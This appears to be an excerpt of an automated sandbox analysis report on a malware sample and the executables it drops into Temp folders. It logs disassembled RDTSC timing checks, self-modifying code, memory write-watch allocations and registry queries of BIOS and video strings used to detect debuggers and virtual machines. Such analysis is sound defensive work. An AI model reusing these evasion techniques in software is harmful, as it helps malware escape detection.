Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F09 second address: 4C60F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1B911A1E26h 0x00000012 jmp 00007F1B911A1E25h 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F44 second address: 4C60F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F49 second address: 4C60F4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F4F second address: 4C60F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F53 second address: 4C60F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F1B911A1E25h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F79 second address: 4C60F7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F7F second address: 4C60F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4050D second address: 4C40511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40511 second address: 4C40517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40517 second address: 4C405BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1B90BB190Ch 0x00000008 pop ecx 0x00000009 call 00007F1B90BB190Bh 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007F1B90BB1914h 0x00000018 mov dword ptr [esp], ebp 0x0000001b jmp 00007F1B90BB1910h 0x00000020 mov ebp, esp 0x00000022 jmp 00007F1B90BB1910h 0x00000027 mov eax, dword ptr [ebp+08h] 0x0000002a jmp 00007F1B90BB1910h 0x0000002f and dword ptr [eax], 00000000h 0x00000032 pushad 0x00000033 movzx eax, di 0x00000036 call 00007F1B90BB1913h 0x0000003b mov ah, 0Dh 0x0000003d pop edx 0x0000003e popad 0x0000003f and dword ptr [eax+04h], 00000000h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F1B90BB1917h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4003C second address: 4C40040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40040 second address: 4C40046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40046 second address: 4C4008C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 mov edi, 5D1A8AA8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1B911A1E28h 0x00000018 jmp 00007F1B911A1E25h 0x0000001d popfd 0x0000001e mov ax, 0777h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4008C second address: 4C400A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C400A4 second address: 4C400A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C400A8 second address: 4C400BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40392 second address: 4C40398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6060A second address: 4C6060F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6060F second address: 4C6061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6061F second address: 4C60625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60625 second address: 4C60641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60641 second address: 4C60645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60645 second address: 4C606A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1B911A1E1Dh 0x00000011 xor cx, 76A6h 0x00000016 jmp 00007F1B911A1E21h 0x0000001b popfd 0x0000001c jmp 00007F1B911A1E20h 0x00000021 popad 0x00000022 xchg eax, ecx 0x00000023 jmp 00007F1B911A1E20h 0x00000028 push eax 0x00000029 pushad 0x0000002a push ebx 0x0000002b mov dx, si 0x0000002e pop ecx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606A1 second address: 4C606A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606A7 second address: 4C60737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ecx 0x00000007 jmp 00007F1B911A1E21h 0x0000000c mov eax, dword ptr [76FB65FCh] 0x00000011 pushad 0x00000012 mov cl, 74h 0x00000014 pushfd 0x00000015 jmp 00007F1B911A1E29h 0x0000001a sbb eax, 278C0976h 0x00000020 jmp 00007F1B911A1E21h 0x00000025 popfd 0x00000026 popad 0x00000027 test eax, eax 0x00000029 pushad 0x0000002a mov bx, si 0x0000002d pushfd 0x0000002e jmp 00007F1B911A1E28h 0x00000033 add si, 85C8h 0x00000038 jmp 00007F1B911A1E1Bh 0x0000003d popfd 0x0000003e popad 0x0000003f je 00007F1C03475051h 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60737 second address: 4C6073D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6073D second address: 4C60757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1B911A1E1Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60757 second address: 4C60769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B90BB190Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60769 second address: 4C6076D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6076D second address: 4C6078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1B90BB1913h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6078D second address: 4C607D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1B911A1E1Fh 0x00000009 add ch, 0000007Eh 0x0000000c jmp 00007F1B911A1E29h 0x00000011 popfd 0x00000012 mov ebx, ecx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 and ecx, 1Fh 0x0000001a pushad 0x0000001b movzx esi, di 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1B911A1E1Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C607D6 second address: 4C60857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1918h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a ror eax, cl 0x0000000c pushad 0x0000000d pushad 0x0000000e mov cl, 53h 0x00000010 jmp 00007F1B90BB1919h 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007F1B90BB1910h 0x0000001c sub ax, 0668h 0x00000021 jmp 00007F1B90BB190Bh 0x00000026 popfd 0x00000027 popad 0x00000028 leave 0x00000029 jmp 00007F1B90BB1916h 0x0000002e retn 0004h 0x00000031 nop 0x00000032 mov esi, eax 0x00000034 lea eax, dword ptr [ebp-08h] 0x00000037 xor esi, dword ptr [00942014h] 0x0000003d push eax 0x0000003e push eax 0x0000003f push eax 0x00000040 lea eax, dword ptr [ebp-10h] 0x00000043 push eax 0x00000044 call 00007F1B94F12096h 0x00000049 push FFFFFFFEh 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60857 second address: 4C60890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1B911A1E23h 0x0000000a add esi, 4067A70Eh 0x00000010 jmp 00007F1B911A1E29h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60890 second address: 4C608B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B90BB190Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C608B5 second address: 4C60947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007F1B911A1E23h 0x0000000c or al, 0000007Eh 0x0000000f jmp 00007F1B911A1E29h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 ret 0x00000019 nop 0x0000001a push eax 0x0000001b call 00007F1B9550263Fh 0x00000020 mov edi, edi 0x00000022 pushad 0x00000023 movzx ecx, di 0x00000026 pushfd 0x00000027 jmp 00007F1B911A1E29h 0x0000002c jmp 00007F1B911A1E1Bh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 jmp 00007F1B911A1E26h 0x00000039 push eax 0x0000003a jmp 00007F1B911A1E1Bh 0x0000003f xchg eax, ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60947 second address: 4C60962 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1917h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60962 second address: 4C6099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1B911A1E1Fh 0x00000009 add si, 64AEh 0x0000000e jmp 00007F1B911A1E29h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6099F second address: 4C609A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C609A3 second address: 4C609A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C609A9 second address: 4C609CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov di, 9A40h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F1B90BB1910h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1002E second address: 4C10034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10034 second address: 4C10087 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov ebx, eax 0x00000010 call 00007F1B90BB1910h 0x00000015 pushfd 0x00000016 jmp 00007F1B90BB1912h 0x0000001b xor ch, FFFFFFC8h 0x0000001e jmp 00007F1B90BB190Bh 0x00000023 popfd 0x00000024 pop ecx 0x00000025 popad 0x00000026 and esp, FFFFFFF8h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10087 second address: 4C1008B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1008B second address: 4C1008F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1008F second address: 4C10095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10095 second address: 4C1009B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1009B second address: 4C10100 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F1B911A1E1Eh 0x00000011 push eax 0x00000012 jmp 00007F1B911A1E1Bh 0x00000017 xchg eax, ecx 0x00000018 jmp 00007F1B911A1E26h 0x0000001d xchg eax, ebx 0x0000001e jmp 00007F1B911A1E20h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10100 second address: 4C10104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10104 second address: 4C10108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10108 second address: 4C1010E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1010E second address: 4C10128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10128 second address: 4C1012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1012C second address: 4C10130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10130 second address: 4C10136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10136 second address: 4C1013D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ch 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1013D second address: 4C1014E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, dword ptr [ebp+10h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1014E second address: 4C1017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B911A1E27h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1017E second address: 4C10187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 3E5Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10187 second address: 4C101BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F1B911A1E1Eh 0x0000000d xchg eax, esi 0x0000000e jmp 00007F1B911A1E20h 0x00000013 mov esi, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1B911A1E1Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101BF second address: 4C101C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101C3 second address: 4C101C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101C9 second address: 4C101F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1B90BB190Ch 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1B90BB1916h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101F7 second address: 4C10206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10206 second address: 4C1020C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1020C second address: 4C10224 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10224 second address: 4C10228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC6CE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEDB4D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEC73C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEC370 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B15BC4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B75C08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BB6CE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDDB4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDC73C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDC370 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C05BC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C65C08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Special instruction interceptor: First address: AEDE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Special instruction interceptor: First address: B7F426 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Special instruction interceptor: First address: D4D9FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Special instruction interceptor: First address: D4B182 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Special instruction interceptor: First address: F725AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Special instruction interceptor: First address: D4B900 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Special instruction interceptor: First address: EE68F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Special instruction interceptor: First address: F68CBA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 2320000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 2510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 2320000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 4AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 5AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 5C10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 6C10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: ADB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: BDB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: C240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: D240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: E460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: F460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 10460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 16C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 2FE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Memory allocated: 2D30000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

